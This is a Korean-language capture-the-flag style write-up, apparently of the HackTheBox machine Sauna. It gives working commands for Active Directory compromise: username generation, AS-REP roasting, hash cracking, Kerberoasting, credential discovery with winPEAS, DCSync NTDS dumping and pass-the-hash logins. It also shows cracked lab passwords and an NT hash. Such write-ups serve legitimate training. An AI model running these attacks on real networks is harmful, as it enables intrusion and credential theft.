nmap --open -p- -Pn --max-retries 1 --min-rate 4000 10.10.10.103 > full
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 14:40 KST
Nmap scan report for 10.10.10.175
Host is up (0.074s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49676/tcp open unknown
49689/tcp open unknown
49697/tcp open unknown
전체 포트를 보면 DNS, LDAP, SMB, globalcataLDAP이 열려있는 것으로 보아
Domain Controller 라는 것을 알 수 있습니다.
우선은 스캔된 정보에서 더 자세한 정보 확인을 위해서
nmap 디테일 스캔을 해줍니다.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-29 12:28:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open unknown
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open unknown
49676/tcp open unknown
49689/tcp open unknown
49697/tcp open unknown
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.46 seconds
자세한 스캔 결과 도메인 이름을 획득할 수 있었기에
현재 이 서버의 주소를 /etc/resolve.conf에 추가해주고
도메인 정보는 /etc/hosts 파일에 추가를 해줍니다.
그리고 도메인 정보를 획득했기 때문에 웹 정보수집에서
서브도메인 스캔도 같이 진행을 해줍니다.
msrpc에 대해서 익명 바인딩 후에 쿼리를 날려봤는데
익명 권한으로 할 수 있는 쿼리는 없어보입니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# rpcclient -U "" -N 10.10.10.175
rpcclient $> querydominfo
result was NT_STATUS_ACCESS_DENIED
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED
그래서 SMB와 LDAP에 대해서 익명 바인딩이 가능한지
nxc를 이용해서 테스트 해봅니다.
SMB와 LDAP에 로그인은 되었지만
SMB에서 users 목록이나 shares 목록은 확인하지 못합니다.
그리고 LDAP을 통한 users 플래그 역시 마땅한 정보는 나오지 않았습니다.
about us 탭을 눌렀을 때 나오는 페이지에서는
직원들의 이름이 노출되고 있습니다.
이 이름을 리스트업 한 다음에 AS-REP-Roasting공격을 해줍니다.
이 머신에서 특히 마음에 들었던 것은 직원의 이름 정보를 획득했을 때
그것을 가지고 변형하여 목록을 생성한다는 것이었습니다.
한국의 경우 조금 다르겠지만 외국의 경우 성과 이름이 있다면
Park YeonWoo가 성/이름이라고 했을 때
P.YeonWoo
Park.YeonWoo
ParkYeonWoo
PYeonWoo 이렇게 다양한 포매팅이 가능합니다.
그래서 이런 포매팅을 해줘서 유저 목록을 만든 다음
AS-REP-Roasting 공격에 취약한지 테스트를 할 수 있습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat Coworkers.txt
Fergus.Smith
Hugo.Bear
Steven.Kerb
Shaun.Coins
Bowie.Taylor
Sophie.Driver
F.Smith
H.Bear
S.Kerb
S.Coins
B.Taylor
S.Driver
FergusSmith
HugoBear
StevenKerb
ShaunCoins
BowieTaylor
SophieDriver
FSmith
HBear
SKerb
SCoins
BTaylor
SDriver
이러한 리스트를 가지고 AS-REP-Roasting 공격을 해주는 명령은
impacket-GetNPUsers 모듈을 통해 할 수 있습니다.
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/'' -usersfile Coworkers.txt -dc-ip 10.10.10.175
그러면 FSmith 계정에서 취약점이 발견되어서 해쉬정보가 노출이 되었으므로
john을 사용하여 해쉬크래킹을 해줍니다.
획득한 정보
FSmith : Thestrokes23
대상 포트에는 wsman 서비스가 있었기 때문에
evil-winrm으로 접속이 가능한데, 현재 사용자가 연결이 가능한지
여부 확인은 nxc를 사용해줍니다.
사용자로 로그인이 가능하다는 것을 파악했으니
evil-winrm을 사용해서 fsmith의 쉘을 획득해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
초기침투에 성공한 이후에는 현재 재사용자가 어떤 권한이 있는지
어떤 그룹에 있는지 파워쉘 히스토리는 있는지 등을 파악해줍니다.
파악을 해줬음에도 별다른 것이 발견되지 않았다면
액티브 디렉토리 내의 취약점이 있을 수 있어서
블러드 하운드를 통해서 AD 정보를 모조리 매핑시켜줍니다.
bloodhound-python -u fsmith -p Thestrokes23 -c All --zip -ns 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL
그리고 매핑된 정보를 토대로 활성화된 유저 목록을 neo4j 콘솔에서 가져와서
유저 목록으로 만든 후에 이것을 토대로 AS-REP-Roasting을 다시 해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat ASusers.txt
SVC_LOANMGR
HSMITH
FSMITH
ADMINISTRATOR
AMANDA
SIZZLER
MRLKY
GUEST
ADMINISTRATOR
AS-REP-Roasting 공격에 취약한건 fsmith 계정밖에 없네요
그럼 fsmith의 계정이 존재하니 커버로스팅 공격을 해봅니다.
crackmapexec ldap 10.10.10.175 -u fsmith -p Thestrokes23 --kerberoasting res.txt
커버로스팅 공격을 해보니 HSmith 계정에서 실행하는 서비스가 존재했고
해쉬크래킹이 성공했는데 HSmith 계정의 패스워드는
FSmith 계정과 동일했으며 이 사용자로는 winrm 접속이 불가했습니다.
더이상 정보수집 할 게 없어서 자동화 툴을 돌려줍니다.
칼리에서 winPEAS.exe파일을 다운로드 한 뒤 서버를 열고
서버 로컬에서 칼리 로컬의 winPEAS.exe를 다운로드 해줍니다.
그리고 svc_loanmanager 계정의 디폴트 패스워드가 노출되어 있습니다.
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
이 정보를 토대로 svc_loanmanager 계정의 디폴트 패스워드가
변경되지 않았다면 로그인이 가능하다는 것을 추론할 수가 있는데
현재 계정 중에는 svc_loanmanager 계정은 존재하지 않습니다.
대신 svc_loanmgr 게정이 존재하는데
이 계정으로 패스워드가 통하는지 테스트를 해봅니다.
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nxc winrm 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround!
WINRM 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)
계정으로 로그인이 가능하다는 것이 확인이 되었습니다.
다만 이것으로 굳이 로그인 할 필요 없이 DCSync 권한이 있는것을
블러드하운드를 통해서 확인했기 때문에
crackmapexec 모듈을 사용해서 NTDS 정보를 덤핑시켜줍니다.
crackmapexec smb 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround! --ntds
823452073d75b9d1cf70ebdf86c7f98e
Administrator 계정의 NT 해쉬 정보를 빼오는데 성공했습니다.
이제 이 해쉬를 이용해서 winrm 접속을 해줍니다.
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# evil-winrm -i 10.10.10.175 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
[HackTheBox] Search (1) | 2024.10.30 |
---|---|
[HackTheBox] Active (0) | 2024.10.29 |
[HackTheBox] Return (2) | 2024.10.17 |
[HackTheBox] Sightless (0) | 2024.10.16 |
[HackTheBox] Timelapse (3) | 2024.10.15 |